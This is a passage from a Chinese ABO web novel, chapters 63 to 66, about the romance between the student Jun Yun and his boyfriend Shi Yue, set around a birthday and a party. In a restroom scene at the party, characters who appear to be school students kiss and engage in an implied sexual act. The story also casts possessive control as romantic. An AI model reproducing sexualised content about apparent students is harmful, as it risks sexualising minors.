预想着匙越会说,会出手对付他,又或者否认说不会。 岂料匙越说:“你相信命运吗?” “就算当初不是因为发情的事情遇到你,为了弄到学生代表也一定会遇到你,只要你还是你,我还是我,那么我就算出手对付你了,我们的结局也还是会像现在这样,只是认识的方式不同,但是我想,我依旧会喜欢上你。” 因为他太清楚他是什么样的人了,喜欢上一个人就会不择手段,他喜欢什么,就要把人捆在身边。 不会放过任何一丝一毫的机会。 匙越偏头,鼻梁抵了抵他的发丝,像是在上面留下一个吻,他抱着他晃了晃,祈求: “原谅我好不好?” 好半响,隽云消化完他说的一切,才勉强地说:“好吧。” 看在他初次犯错,且态度诚恳的份上。 两人抱了一会儿,直到隽云感觉他的身体都暖和起来了,匙越才放开他。 隽云和他离的很近,在匙越的吻要落下来的时候偏开了,匙越的吻落了空,他顿住,眼皮一掀。 为什么要躲? 他已经把事情都告诉他了,但是他还是不愿意原谅他? 在隽云看过来的时候,匙越垂下眼睫,带着一丝可怜:“别这样” “还有没有什么事情瞒着我?”隽云问。 沉默好半响,匙越看上去老实摇头,说:“没有了。” “没有了”隽云念了一遍,记住了他的话,点头:“如果还有的话,我们就分手。” 回应他的是匙越堵住他嘴的亲吻—— 作者有话说:小云朵训狗[鼓掌] 评论区发狗狗小饼干红包 第64章 第六十四章 “生日。” 一晃眼, 隽云的生日就快到了。 叶馨言被警察署控制后,连带着她爹也在被走流程查,一时间叶家的事情闹的满城风语, 连带着不少人在背后对联亲的隽家议论纷纷。 叶家此前因为联姻已经在A市委员长的选举上助推过隽诉,所以这次叶家有难, 隽家没有不帮的道理。 只是这次始终有人在从中阻碍,即便隽家在从中周旋,半个月过去警察署依旧没有放人的意思, 十分罕见强硬地要按照流程办事。 隽家受累, 有些自顾不暇,隽诉和元青这个月回来吃过几次饭, 语气里透露着对叶家的不满。 本来和叶家联姻也并不是最好的选择,如今临近婚期,叶家还出事了。 一晃就到了隽云过生日这天, 依旧是宾客高朋满座,隽诉和元青忙着招待到访的宾客,礼物由侍从接过,隽云只需要出席就好。 脸上带着得体的笑容直到这场政界商界交谈的活动散会,他随父母回到了家里, 回去的时候还不算太晚, 才晚上八点。 隽诉取下金丝眼镜丢在桌子上,他靠在沙发上休息,元青缓缓喝着管家调理好的花茶,隽云经过他们面前,本来打算上楼的他被元青叫住了。 “小云。” 元青把杯子搁在杯托上,开口:“小言的父母托我告诉你,小言祝你生日快乐。” 隽云脚步一顿, 转回头来:“我和叶馨言的联姻还要继续吗?” “叶家出了点事。”在沙发上的隽诉捏着眉心,疲倦道:“叶家被查了一轮,倒是没查出来什么,就是馨言惹了点麻烦,有人不同意她被保释,开多少钱都没用。” 似乎是闲聊一样的语气,或许今天是一个好时机。 “爸,妈” 隽云的手蜷缩了一下,他说:“我不喜欢叶馨言” 元青和隽诉连眉毛都没抬一下,隽诉毫不在意地说:“小云啊,有些事情,不是能拿喜不喜欢来衡量的。” 见此,隽云的脸冷下来:“我不想和她联姻。” “胡闹!”隽诉这才睁开眼,两鬓微霜,眉眼凌厉:“你说不联姻就不联姻!?” 隽云:“我不会和叶馨言结婚!你们要么趁着这次机会取消联姻,要不然” 隽云脸色一沉:“不然我就亲自去提取消联姻。” 匙越没回东城区,闵家已经给他收拾出了一件房间出来,他平常住在闵家,甚至作为补偿,闵荣给他买了在市区的一套别墅,让他以后不用回城东区住,这样上下学更方便。 今天是隽云的生日,听说隽家邀请了很多人来隽云的生日宴,而闵家不在此行列,所以他晚上就没办法给隽云过生日了——理论上来说是这样的。 但是,最近几天他们都非常的忙碌,只互相回一下消息,以及晚上固定电话。 今天一整天更是没怎么说过话,不知道他现在在干什么,估摸着时间差不多散场了,他打了个电话给隽云。 “嘟嘟嘟——” 电话响了很久才这接通。 闷闷的声音:“喂?” 匙越一边走路一边领着东西,站定,问他:“能出来一下吗?” 隽云:“我已经出来了。” “不在家里吗?” “不在。” 他的语气听起来有些不对,这个点又不在家里的话匙越猜:“和爸妈吵架了?” 好半响:“嗯。” “在哪里?” 这里是一条笔直的大道,路上有几盏亮起的灯,差不多到下雪的季节了,隽云出来的时候有些急,没有围围巾,白气随着说话的声音哈气又消散。 他左看右看,描述了一下家附近的街道以及他在的位置周围有什么特色,就听到匙越在电话里说: “在原地等我。” “好。” * 这里是别墅区,路边没什么零散的小商店,走了很久才路过一家便利店,匙越进去找了一圈,没找到人,又领着东西推开玻璃门出来了。 走了十几分钟,他是在一个路灯对面的角落找到隽云的。 昏黄灯光洒下的角落,隽云穿着一身薄薄的西装服,圈缩着身体,手里拿着手机,手指都冻红了,白嫩的脖颈也露在外面,脸埋在手臂里,整个人抱着膝盖缩在角落,像是无家可归的流浪猫。 十二月的夜晚,天空都飘起了小雪,隽云一动不动地靠着墙坐着,连匙越走近的脚步声都没听到,似乎都冻麻木了。 直到匙越把手放在他的头上,他才反应过来似地,迷茫地抬起了头。 在点点飘下来的雪花里,匙越眼眸漆黑,穿着学校长款的冲锋衣校服,一只手还拎着蛋糕。 隽云没什么神彩的瞳孔才有了点聚焦,他的视线从蛋糕又落回匙越的脸上,嗓音干涩:“你” 匙越把蛋糕放在旁边,他半蹲下来,握上隽云的手,冰冰凉凉的。 宽厚的手掌带着温热的热度,包裹住隽云冷冰冰的手指,摩擦着,带到唇边哈了一口气,匙越叹了口气,问他:“冷不冷?” 隽云怔怔然地看着他,还没回过神来,匙越拉着他的手让他的手贴在自己的脸上暖和,白嫩的指尖微微颤抖,捧住他的脸,热热的。 “怎么不找个商店坐着,坐外面干什么。” 隽云就吸吸鼻子,泛红的眼皮垂下:“不是你让我不要乱跑吗?” 所以他就在这里等他过来了。 “”匙越:“我是让你找个温暖的地方坐着别乱跑。” “哦” 隽云就没说话了。 等他稍微暖和一点之后,匙越把隽云拉起来,隽云因为蹲久了,脚有点麻了,踉跄地往前扑了一下,被匙越接了个满怀。 隽云就张着手,抱住了匙越,脸埋在他的胸膛处,听着他的心跳声,匙越抱他抱的很紧,被他包裹着,外面的风雪似乎都被他隔绝在外,这一小片地方既温暖又安全。 抱了一会儿身体都暖了不少,隽云打算放开他的时候,就看到匙越把自己外套拉链拉开了,下一秒,衣襟大开,猛地把他包了进去。!? 隽云被他一扑,校服棉衣合上,视野受阻,眼前短暂黑了一瞬,然后意识到正被匙越裹着往前走,听到他心满意足地说: “好了,这样就不冷了。” “” 暖和是暖和了, 但是,这样好像有点难看。 匙越不顾他的意愿强行一边搂着他的腰,一边拿起台阶上的蛋糕,抱着他走,隽云看不到路,只能往后退着倒着走,踉踉跄跄地,他忍不住噗嗤一声笑了: “好了,你放开我吧。” “不放。” 说完,匙越又合了合衣领,把他的脑袋也闷在了他的衣服底下,温暖的alpha气息完全将他笼罩住,体温传递过来,隽云的声音闷闷又含糊,叽里咕噜哼哼: “你这样我看不清路了!!!” 喂!!!!! 匙越就扒开衣服,把他转了个圈,然后又合上衣服罩在里面,露着脸蛋出来,隽云就迷迷瞪瞪着,头发乱糟糟地翘起,被推着往前走,不过比起刚才好一点的是能看到路了。 两个人挨的非常近,匙越说话时候的胸腔震动都能传过来,正上方头顶传来声音,自说自话带着非常满意的语气: “这样就很好了。” 隽云:“?” 路边走过一对撑着伞的情侣,女人指着他们,朝旁边的男人靠过去,对他说了句什么,随即两个人都忍俊不禁地笑了。 隽云脸上热气上涌,他的脑袋不动声色地往衣服里埋了埋。 简直丢人 匙越的脚步和他一起迈着,架着他迈着深一下浅一下的步伐走着,两人脚印重叠,一步一走,就差喊一二一了。 隽云忍不住笑,上个月的游学还真给他学到东西了? “你这是走的什么啊?军训吗?” 匙越慢条斯理地说:“连体婴。” “谁、谁要和你当连体婴。” 就这么一步一步,前脚踩着后脚的脚印,他们走到了一个便利店。 便利店有个男生拿着钥匙串推门走出来,恰好迎面撞上匙越和隽云,以为自己眼花了,风雪里迎面走过来的高大男生衣服前面怎么还有个毛绒绒的脑袋? 视线下移,有四只脚 台阶湿滑,他光看着没注意台阶,脚步一滑,差点摔倒在台阶上。 隽云从匙越怀里跑出来,跑进了便利店里,那个男生才回头看到,噢,原来是刚才有个人躲在衣服底下。 他们俩找了个地方吃蛋糕。 便利店的暖气还算比较足,沿着窗边有一排桌子和椅子,有和他们一样的年轻情侣,有带孩子的爸爸,还有年纪比较大的老人。 隽云找了个角落,坐在旋转椅子上,转了两圈,手撑在桌子上,看到外面的小雪像盐粒一样点点洒下。 “是初雪。” 匙越把蛋糕放在桌面上,隽云转过脸来看到蛋糕上面画了一个Q版的小人,看着挺萌的,也很呆,小人上面写着HAPPY BIRTHDAY! 隽云先问一句:“是给我的吗?” “不是。” 什么!? 不是? 隽云猛地坐直了:“那你是给谁的?” 真的有人这么巧和他一天生日吗? “给小云朵的。” 小云朵? 隽云念着这几个字,白色的哈气一闪而过,眼神忽闪,白嫩的耳尖逐渐染上一抹不易察觉的红。 他是小云朵? 隽云本来就比匙越矮一个头,还坐着,一抬手就能摸到他的脑袋,此刻他头还有点低,没抬头看他。 匙越就笑了,揉了揉他的脑袋:“现在吃吗?” 隽云强装镇定:“可以。” 匙越就把蛋糕的透明盒子拿起来,把配送的蜡烛都插上去,他去问店员借了一个打火机,把蜡烛都点上了。 店面很小,他们进来的时候就有不少人看着他们了。 灯光短暂地关上了,只有角落里亮着一盏蜡烛蛋糕。 便利店的桌子是挨着墙悬空的一个长桌,在两步外的人非常热闹,有吃泡面的、有和家人打视频电话的、还有一个年轻的爸爸在抱着孩子逗趣,灯光熄灭后,他们都朝蛋糕看了过来。 外面点点雪花飘摇,缓缓落下,昏黄的灯光从路灯投下来,像一个黄色的透明裙摆。 玻璃窗之隔,一片漆黑中一点温暖的烛光燃起,蛋糕上彩色的Q版小人和蓝天一朵朵白云照映在隽云的眼里。 匙越:“我和店员说关半分钟的灯。” 匙越把蛋糕推到隽云面前,摸摸他的脑袋:“现在开始许愿吧。” 隽云双手举到胸口处,十指交叉着,闭上眼睛许了一个愿望。 十秒后他睁眼,把蜡烛吹熄了。 灯光又重新亮起来,四周的人恍然惊醒,都鼓起掌来,脸上洋溢着惊讶的笑容。 “原来是有人过生日啊。” “小年轻就是好啊。” “生日快乐喔~” 不足一岁的孩子指着蛋糕嘤嘤唔唔地对爸爸说话:“糕糕糕” 隽云拿着纸裁刀把蛋糕切了,然后装在盘子里,分发给旁边的人,递给了周围的人,他们都惊喜地接过,跟他说生日快乐。 人群逐渐分散开了,还剩下两块蛋糕,他最后递给了匙越,匙越拿起叉子舀了一小口递给了隽云。 隽云面色微红,张口吃了。 “好吃吗?” “嗯” 隽云含着蛋糕,朝他看了一眼,然后下了椅子,牵着他的衣角把他带到没人的货架角落,垫脚抬脸,朝他的嘴唇亲了过去。 匙越的呼吸一下就重了,握住他的腰,让他更紧密地贴着自己。 撬开他的唇齿,尝到了唇腔里软绵的奶油味,甜甜浓密的奶沫像泡沫一样,融化在二人的舌尖,匙越舔过他口腔的软肉,吮着他的舌尖,感受着隽云扑在脸上的呼吸带着热意地颤抖,像一块熟透的糕点一样被他吃掉,匙越几乎是花了极大的力气才克制着自己把他推开,不然要in。 把他松开来,隽云的脸上红扑扑,不知道是因为室内暖气开的太足了热的还是因为燥的,走在前面,回了椅子上坐着。 拿着叉子吃蛋糕,周围投来的视线让他有点尴尬,低着头,一下又一下地勾着奶油舀着吃。 匙越站在他的旁边,拿勺子挖着吃蛋糕,起初还是他们各自吃各自的,吃了两口,匙越的勺子就递到了隽云的唇边,于是隽云细密的睫毛颤了一下,没说话。 张开樱红的双唇,吃他的那块。 最后两块蛋糕全都被匙越喂给了隽云吃—— 作者有话说:小狗扑小云朵[比心] 评论区随机发小狗脚印棒棒糖和小云朵软糖红包 第65章 第六十五章 “想来找你。” 隽云吃饱了, 吃完后他就靠着桌子看外面洋洋洒洒的小雪,便利店很多人都走了,隽云浑身犯懒, 他拿出手机看了一下消息,大约有二十几个家里座机打来的电话, 是管家打来催他回去的,他没接。 出来的匆忙,连监控手表都没有戴。 但是也不能在外面过夜, 有保镖盯着, 估计等会还是要回去的。 隽云想到这,心情又开始往下跌。 他其实不想回家, 家里一切都是冰冷的,冰冷的饭桌,冰冷的房间, 像是套着一个名叫“家”的柔软外壳,实际上碰一下就会发现棉絮里裹着密度精良的冰凉器械,滴滴滴——四面不透风地网着他,监视着他。 匙越碰了碰他的耳朵,冰凉的, 于是双手都捂在他的耳朵上, 温暖的手带着热意,罩着他,像是他的耳罩。 看隽云似乎在看着窗外发呆,匙越问他:“等会想做什么?寿星。” “我想打耳钉。”隽云突然说。 “或者纹身也行。”隽云补了一句。 匙越手里的耳朵干净、白嫩,被他捂热到微微泛红,他拨弄着他的耳朵,这样干净的耳朵, 其实不应该染上瑕疵或者被穿刺出孔,他问他:“为什么?” “就是想。”隽云说。 白白软软的云朵就这样变成五颜六色电闪雷鸣的云。 出来混的云。 匙越就松开了手,把他从椅子上拉下来,他说:“我先带你去看看。” 走了二十几分钟,跟着导航走才找到一家能打耳洞的店面,隽云被匙越牵着,走到点门口,看到装饰精美的店面却有点踌躇了。 其实是因为喜欢看匙越戴耳钉,所以才想着要不然他也去打一个好了。 这也不止是一个耳洞,代表着暂时逃脱家里之外,全然由他自己决定的一件事,代表着叛逆与自由。 但是当他站在店外,透过透明的玻璃墙看到店里老板正在给一个染着黄头发的omega打耳洞时,他又有点退缩了。 老板是一个打扮时尚的女beta,拿着一根尖锐的像针一样的东西,弯腰捏着那人的耳垂,盯着上面画好的标记点,然后猛地扎入——!!! 隽云下意识移开了视线,店门开着,omega的嚎叫声传来: “哇靠痛死老子了——” 隽云:“” 真有那么痛吗? 他看到那根穿刺的针非常尖,非常长,泛着尖锐的银色光泽。 要用那根针穿破他的耳垂? 嘶 隽云下意识摸了摸自己完好的耳垂,莹润的肉珠摸起来完好无瑕,如果要在上面打一个耳洞出来 似乎也没那个必要 而且,感觉有点痛 隽云有点犹豫,但是匙越还在旁边注视着他,临阵脱逃的话未免太没面子了,隽云心想,打个耳洞而已,也就几秒的事,忍忍就过去了,也没什么。 最后他一咬牙:“那我们就速” “算了吧。”匙越和他同时开口。 隽云话语中止,茫然地抬头看他:“啊?” 匙越:“不打了好不好?” “”不打把他带过来干什么? 还是说,怂的其实另有其人? “我觉得还好,痛也就痛一会儿。”隽云其实已经开始打退堂鼓了但是还是眉毛一扬,强撑着说: “那你不想我打吗?” “对,”匙越勾住他的手指,晃了晃:“不想你打。” 他又露出那种很可怜的哀求的表情,碎发随着他低头的动作扫下来,摇手像摇他的狗尾巴一样。 隽云:“” 浓黑的眼睫自然垂下,匙越拖长着声音说:“不要打了,好痛的。” 匙越是过来人,他都说痛了,那看来是真的很痛啊。 隽云就有点犹豫了:“你那时候打的时候也很痛吗?” “痛。”匙越点头:“超痛的。” 隽云想到匙越以前就是一个胆小的人,现在又这么阻挠他看来确实痛,给他留下了这么不可磨灭的深刻印象。 那还是不打了吧。 隽云很快就顺着台阶下:“好吧,既然你不想,那我就不打了。” 就当、就当哄哄人了。 匙越短促地笑了一声,摸摸他的脑袋,说:“那我们走吧。” 隽云的手被匙越牵着,和他一起漫步在雪花下,走过一个又一个路灯,到他家门口的时候,匙越还觉得时间过得太快了,这么快就到家了。 因为有点冷,他的鼻尖和脸颊都有点红,匙越捧着他的脸在他的鼻尖上亲了一下。 隽云闭上眼睛,又睁开来,和他对视,匙越说:“不想你回去。” 隽云怔了一下,匙越就又俯身亲了一下他,催促他:“算了,还是回去吧,外面冷。” * 因为叶家出事,隽诉决定隽云和叶馨言的婚事再延长。 十二月底有一场文强的成年宴会,隽家和闵家都被邀请参宴了。 隽云跟着父母和别人不痛不痒地聊了几句,他兜里手机震动了一下。 刚来的时候匙越就给他发了消息,问他他在哪,隽云就回复,他已经到了。 —sy1011:OKOKOK.jpg —sy1011:我也马上到。 隽云一边仰头抿了一口酒,一边漫不经心地往门口看过去。 不多时,门口进来三个人,首先是严肃着脸的闵荣,一身版型黑西装,一举一动颇有种上位者具有的威严,左边是深蓝色西装的闵术,脸很白皙,棕色头发,低着头跟在闵荣后面,另一边是穿着深紫色西装的匙越。 匙越西装笔挺,头发梳成了三七分的样式,露出光洁开阔的额头,英俊的五官因此更加清晰,耳朵上两个黑色的耳钉随着他转头的动作若隐若现,看上去非常帅气。 非常的人模狗样。 只是他眉眼沉着,散发着alpha与生俱来掌控者的魅力,一米九的身高带着压迫感,漫不经心地环视场内,甚至比旁边的闵荣气势更盛,多了一点年轻气盛的张扬。 隽云一愣,他还是第一次看到这么正经的匙越。 有人过来与他们搭话,闵荣带着两个孩子笑着与他们交谈。 隔着大半个场子,匙越看到隽云穿着剪裁得体的小西装,侧着身,看上去有点愣神地看着他,他唇角勾起,对旁边前来搭话的人说了句抱歉,皮鞋在地板上踏着细微响声,就这么朝着隽云走去。 隽云端着酒杯,忍不住环视四周,扫了几眼他旁边的爸妈,心跳越来越快。 他爸妈还在这里啊 别这么直接过来 幸好匙越没走几步,文强就出现了。 他是今晚的主角,穿着一身亮片白色西装,整个人收拾的很精神,手搭在匙越的肩上环着他,显得非常兴奋: “哟,没想到还能在这碰到你啊匙越,你怎么连我都瞒着啊,也太不够意思了吧,我还真以为你是社会招考生呢,哥们还想扶你一把来着” “” 一连串机关枪一样的话任谁也接不住,匙越猝不及防,柳元誉在旁边听着也神色不耐,偏头喝了一口酒。 有人在喊他的名字,隽云的目光就移过去,是文强的父母,他还在和他爸妈寒暄着说好久没见到他了,于是他点点头,扬起笑容来,说最近学业确实比较重 舞会开始了,全场的灯光熄灭,在中间的投下一圈亮灯,不少人开始邀请心仪的舞伴进入舞池跳舞。 如果叶馨言在的话肯定要推他和叶馨言去跳舞,不过好在叶馨言现在还在警察署接受调查,他现在身上有婚约,别人也不敢轻易邀请他跳舞,于是他反倒乐的一身轻松。 两两成群的舞伴进入舞池,隽云把酒杯搁在桌台上,准备去厕所洗把脸。 宴会厅的厕所没有区分alpha和omega,一个大的卫生间,里面做了数十个小的隔间。 推开虚掩着的卫生间的门,暖黄的灯下,有一个人在洗手,见到他后朝他点头示意了一下后就出去了。 感应水龙头在感应到温度后出水,隽云洗了一下手,理了理头发,他推开隔间的门准备上厕所,刚落锁没多久,门就被人敲响了。 还是非常有节奏,不紧不慢地“叩叩叩”三声。 隽云心道奇怪。 十几个隔间,难道都满了吗?但是他刚才进来的时候分明看到其他隔间的门都是开着的。 隽云就出声:“有人。” 外面那人发出一声笑,又在哪里敲门“叩叩叩”三声。 隽云心想,难道是上一个人东西落在这间厕所没带走吗? 他环顾四周,厕所里干干净净,除了坐便器和卫生抽纸,没有什么其他东西,放手机的凹槽也没有手机。 可能这个人有点毛病?非要用这个隔间。 他就说:“那你等一下吧。” 飞快上好后他按下冲厕键,然后把门锁打开,让外面的人进来,他则冷着脸和他擦肩而过,结果,才迈了一步就被人捞着腰带了回来。 脚尖悬空两秒,来不及反应就被人放到地上,推到冰凉的墙面上,然后门关上了,落了锁。 一系列操作行云流水。 锁匙扭动的那一瞬“咔嚓”的响声让隽云一惊,他看过去,那人穿着一身量身打造的紫色西装,显得身材板正,手长腿长,锁好门后侧过脸来看他,眼角眉梢荡着笑意。 “匙越!” 说出口之后才反应过来这里是厕所,可能会有人在外面听到,他立马住嘴。 又用气音说:“你怎么在这?” 厕所隔间狭窄,两个人挤着挨着,他甚至能感受到匙越的呼吸,匙越俯身在他耳边,也用气音说: “来找你。” “?”就非得来厕所找吗? 隽云脸上露出一种难以形容的表情,怀疑匙越有什么怪癖,不忍直视地问他:“你要上厕所?” “不上。” “那你干嘛。” 两个人挤在这种小隔间太怪了,他忍着脸上的热意,就要出去,刚一动作就被抵住了腰。 匙越的手按在他的腰上,说:“不上厕所,就是好久没见了,想来找你。” “”隽云恍惚地抬头。 今天星期天,他们星期五才见过吧。 这才两天。 太夸张了 匙越的眼睛非常的深邃,和他对视上的时候眼眸暗了暗,隽云自顾自地视线上移,这才发现他卷了头发。 看来为了参加文强的成人宴也是下了一番心思打扮的,文强一定感动坏了。 “怎么样?知道你要来,我就弄了一下。” “?” 撤回一个文强感动。 头上抹了发胶,浓黑的卷翘头发垂下一缕,发丝刚好到眉眼间,低眉顺眼的,一米九的个头弯着腰让他看发型,整个人看起来很乖。 有点像小狗。 隽云就忍不住伸手去碰了一下他的头发,匙越就很乖地头更低了一点:“你喜欢这个发型吗?” 隽云不违背内心意志地点了点头。 指尖勾了一下他的卷发,确实还不错。 也是第一次看到他穿的这么正式,隽云和他对视上,感觉到他腰上的手顿时一紧,后知后觉察觉到了危险。 可是逃脱也来不及了,匙越搂着他的腰把他拉近,俊美的脸庞压下来,几乎是在隽云挣扎的下一秒就亲住了他,异常凶猛。 进门到现在,忍不到两分钟就原形毕露了。 不知哪里来的一滴水滴答响了一下,唇瓣上传来的触感让隽云的瞳孔紧缩了一瞬,温热的鼻息吐在脸上,他的手抵在匙越的胸膛,挣扎着想把他推开。 这里 这里是厕所 “唔唔别” 外面传来脚步声,随即洗手台的水头龙开了,水声哗哗地响,隽云顿时偃旗息鼓,抑制住喉咙里的声音,浑身僵硬,心跳如雷。 “喂?对,我在石山别墅这里,那个项目你联系雷总吧” 外面的人听声音并不认识,但是可能以为厕所没人,他打电话的声音洪亮没有刻意压低。 在那人几步之遥的厕所隔间内,温度异常升高,匙越和他亲昵相抵,亲的很慢,隽云牢牢抓着他的衣服,甚至抓出了褶皱,他呼吸凌乱,被匙越吊的一颗心七上八下的。 一点唇舌相触含吮的声音传来,两团热烘烘的哈气相融,唇舌舔邸着,隽云心跳很快,咚咚咚的心跳声在耳膜炸响,他总疑心,他们这样接吻的声音会不会被别人听到? 太大声了—— 作者有话说:爱上小云,吃定小云[奶茶][比心] 评论区发七彩小云朵红包 第66章 第六十六章 “他们在谈恋爱。”…… 两个人的西装都皱了, 衣料簌簌作响,隽云呼吸急促,一边要应付匙越不合时宜的唇舌纠缠, 温热湿黏,一边要努力分心去听外面的声音。 那人打完电话后骂了一声, 然后脚步声响起,隽云屏住呼吸,听到外面那人走到隔壁的一个隔间, 拉开门进去了。 怎么就刚好选在他们隔壁上厕所 解裤子的窸窣声音响起, 然后是水声 那人一边上厕所一边吹口哨。 隽云:“” 一门之隔,隽云和匙越紧紧相贴, 有点慌乱,匙越的手从他的腰间往下被隽云一把抓住了手。 他往后仰,眼睛都被亲的泛起来一层雾气, 殷红的唇齿稍微开合,对他做了个口势: 不要。 匙越看着隽云白嫩的脸颊漫上漫丽的红霞,唇瓣半张,整个人看上去既漂亮又纯情,他呼出一口气, 俯身亲了亲隽云的嘴, 滚烫红肿的,他一把将他抱在怀里,然后把马桶盖子放下来,把隽云抱着放在上面。 算了,不做什么。 只是让他坐着。 两个人站在隔间里太挤了。 脚步磨蹭地面传来的响声让隔壁吓了一跳,口哨声猛地停止了,他在地上吐了一口痰: “谁啊!吓老子一跳, 还以为没人呢。” 隽云脸颊滚烫,被匙越抱着摸了摸头,然后抱着他埋在他的怀里。 隔壁的人上完厕所正在提裤子,准备出去。 原本想着就这样抱着等到隔壁的人上完厕所后出去。 隽云仰头,恰好和低着头站着的匙越对视上,昏黄的灯光打下来,匙越鼻梁挺阔,眼眸漆黑,他的胸膛起伏一瞬,隽云这时能明显地感觉有个东西了。 “” 轰然,隽云的脸红得能滴血,他有些慌乱地移开视线,长长的睫毛垂下。 匙越看着他的发旋,搂住他没动,隽云的脸贴在他的腹部,很快就听到了隔壁的冲水声,随即那人开了门,出去后将门一摔,门板发出不堪重负的“吱呀”声,又弹回来反反复复晃动,“吱呀吱呀——” 那人哼着歌去到洗手台洗手,水龙头扭开,哗哗的水声溅出,隔间里,隽云的额头抵在他的胸膛上,耳尖通红地,手颤着,把手放到了 匙越呼吸沉了沉,他握住隽云的手腕,要把他拉开。 隽云挣了挣,抬头,含着水的眼睛看向他,意思很明显,他帮他? 外面的水声停了,那人的脚步逐渐走远,匙越看着他,轻声说:“什么意思?” 隽云咬牙:“不然呢你要这么出去吗?” 匙越呼吸热了,他没再阻止隽云,虚虚握着他的手腕把手拎到位置 心跳飞快,头上的喘息声压抑住,偶尔泄出两声落在隽云的耳朵里,非常的性感 隽云越到后面越没力气,耳朵到脸侧都是红的,埋在匙越起伏的胸膛上,手都酸软了,匙越的手掌滚烫,手心包裹着他的手背,带动着他 粗粝的手掌包裹着他的手掌,感受着贴在身上的人的温度,闻到近在咫尺淡淡的omega信息素的味道,淡淡的橄榄香充盈鼻尖 直到隽云终于受不了,另一只能自由活动的手垂了一下他的胸膛,声音闷在他的衣服里,气急败坏地催他: “你能不能快点!” 匙越闷笑一声,很快抬起他的脸,俯身亲了下来,两瓣唇瓣湿软,唾液甘甜,匙越的呼吸声逐渐粗重。 【审核老师你好,这里只是接吻接吻接吻呜呜呜,审核老师我唱歌给你听:从黑夜到白天,能不能赦免,灰色的人间】 “喂?王总?诶诶,是我啊,我是小聪”又有一个人来厕所打电话。 豪迈的嗓音从厕所门口传入,隽云心咚咚跳,顿时睁开眼,虚虚软软的五指下意识收紧,匙越顿时闷哼了一声 隽云呼吸沉重,脑袋热到宕机,闭着眼,把脸闷进他的怀里。 指尖湿黏,匙越手臂一伸,抽了几张纸出来,擦了擦隽云的手。 五指漂亮如葱段,修长而指节泛红,就连手心都红了,挂满了此刻泛着微微的抖,指间合不拢,脸还埋在他的胸口,耳尖红的能滴血,不肯抬起来也不敢低头去看他的手。 匙越把他的手心擦干净,手指一根一根擦拭,然后把纸巾团了团了丢到垃圾桶里,幸好的是外面在厕所门口打电话的那人没有要进来的意思,就在门口打,打了几分钟就走了。 于是厕所又安静下来,只听得到他们两人的呼吸声。 匙越的嗓音带着事后的沙哑:“走了。” 好半天隽云才反应过来他说的是门口打电话的那个男的,脑子有点乱,他:“哦哦。” 匙越想摸摸他的脑袋,但是他的手上也沾了,于是话锋一转:“你先去洗手,然后回宴会厅。” “” 不想问,那他呢? 他应该还要清理一下? 隽云就如坐针毡地起身,拉开门逃似地头也不回地走了。 手上沾满了alpha的味道,他用了两遍洗手液才洗干净手,抬头看镜子的时候看到自己的眼睛含着水,脸颊通红,满脸绯色,实在是怎么看怎么不清白了。 “” 隽云深呼吸,他又没做什么,冷静 被那个那个弄的人不是他。 等平复好心情后,他洗完手后走到烘干机那里,抬手烘干。 就在这时匙越也出来了,他在洗手台洗了洗手,走过来,走到隽云的后面,两只宽大的手掌伸到隽云的手下,手心朝上,在他下面接住漏下来的风。 两个人就这么以一种诡异的姿势,一前一后站着,手掌掌心朝上,一上一下排列在一起,虔诚地让烘干机赐予他们灼热的风,烤干他们手上的水痕。 像是在进行着一种古老而神秘的祭祀。 * 隽云回到宴会厅的时候舞会已经结束了,宴会厅又重新亮着灯,有侍从经过他身旁,隽云拿起一杯鸡尾酒,旁边有几个同龄人走上前来和他攀谈,他挂着得体礼貌的淡笑点头应付。 不知道什么时候文强也窜出来了,他本来要说些什么的,很快又疑惑地在隽云周围绕了一圈,又在他身上闻了闻,闻来闻去的,隽云忍不住往后退一步: “怎么了?” “我靠!”文强很夸张地扇扇鼻子,说:“你身上的红酒味道也太浓了吧!” 忘了这茬了 隽云手指微微蜷缩,抿了抿唇:“那是因为刚才,酒不小心洒身上了。” 文强狐疑:“这样吗?” “嗯嗯。” “那你的嘴怎么这么红啊?” “自己咬的。” “这样啊。”文强当即不疑有他,马上把这些疑问抛之脑后了,神秘兮兮地问他: “怎么样,什么情况?叶馨言现在都被警察叔叔关起来了,你们还要联姻吗?” 隽云就回想起自己那天和父母的争吵,他已经明确说了,他不会和叶馨言结婚,对此隽诉和元青非常生气,一连几天,隽家对他的看管更加严格了。 只是像文强的成年宴会这种场合,他们还是会带他来参加,让他和同龄的孩子们打好关系。 隽云抿了抿唇:“我也不知道。” 他也摸不清隽诉和元青对此事的态度,叶家出了这件事,更加迫切地希望和隽家顺利联姻,消除负面影响。 他们之前在政府大选的节点,给隽诉投了选票,助他连任政府委员长。 但是,对隽家来说,一个落了案底的alpha,已经不是隽家的第一选择了。 事情究竟转向什么程度还不好说,他和叶馨言的联姻还是要看他爸妈的意思,也不是他能决定的。 文强歪着身子探看了一下另一个方向,闵荣正带着闵术在和建材企业的一个老总说话,说着说着闵荣笑着拍了拍闵术的肩膀。 文强就用说八卦的语气,告诉他们:“你们知道吗,昨天我听我警察署的表哥说,闵家也去探监了,似乎是闵术自己一个人去的。” “闵术?” 隽云环视场内正巧对上闵术的视线,闵术朝他阴测测一笑,很快又垂下眼睫,遮盖住了眼里的神色。 隽云心里生出一种不舒服来,总觉得好像有什么事要发生了一样。 柳元誉不屑地“呵”了一声,隽云这才想起来,叶馨言到现在还没被放出来的主要原因是因为柳家在背后施压了。 于是他就问他:“打算什么时候放人?” 毕竟有叶家做靠山,叶馨言不会真的按照A国律法被关个几十年的。 岂料柳元誉说:“不放。” “我说判几年管用的话要警察做什么?”他说:“何况,这件事也不全是我做的。” 文强疑惑:“那还有谁?” 柳元誉反问:“不然你以为闵家的人去警察署干什么?” 闵家 闵家居然也有插手。不知道为什么,隽云脑海里闪过叶馨言当时给她下药的事情。 后面传来一个声音:“隽云。” 他转身,看到匙越正走过来,文强嘻嘻哈哈:“不是吧,又来找你了,小云云,匙越怎么比我还黏你啊,哈哈哈哈哈” 匙越的手搭在隽云的背上,在他耳边说:“那边有个甜点味道不错,去尝尝?” 隽云点头,跟着他过去了。 柳元誉看着他们这样,心情不是很好,尤其想到某人刚刚发消息给他,说以后会打工还他的钱,连本带息九百万,分期还款,以后他们就井水不犯河水,划清界限。 他一想到那几条消息就不爽。 他有说要她还钱? 柳元誉一个晚上心情都很不好,尤其是看到隽云和匙越接二连三消失在舞会上,他被迫和一个家里推过来的omega跳舞,舞会结束后还要应付那个omega,而匙越和隽云却嘴唇红润一前一后地出现——他们消失去干了什么不言而喻。 现在又故作正经的样子,他就更不爽了。 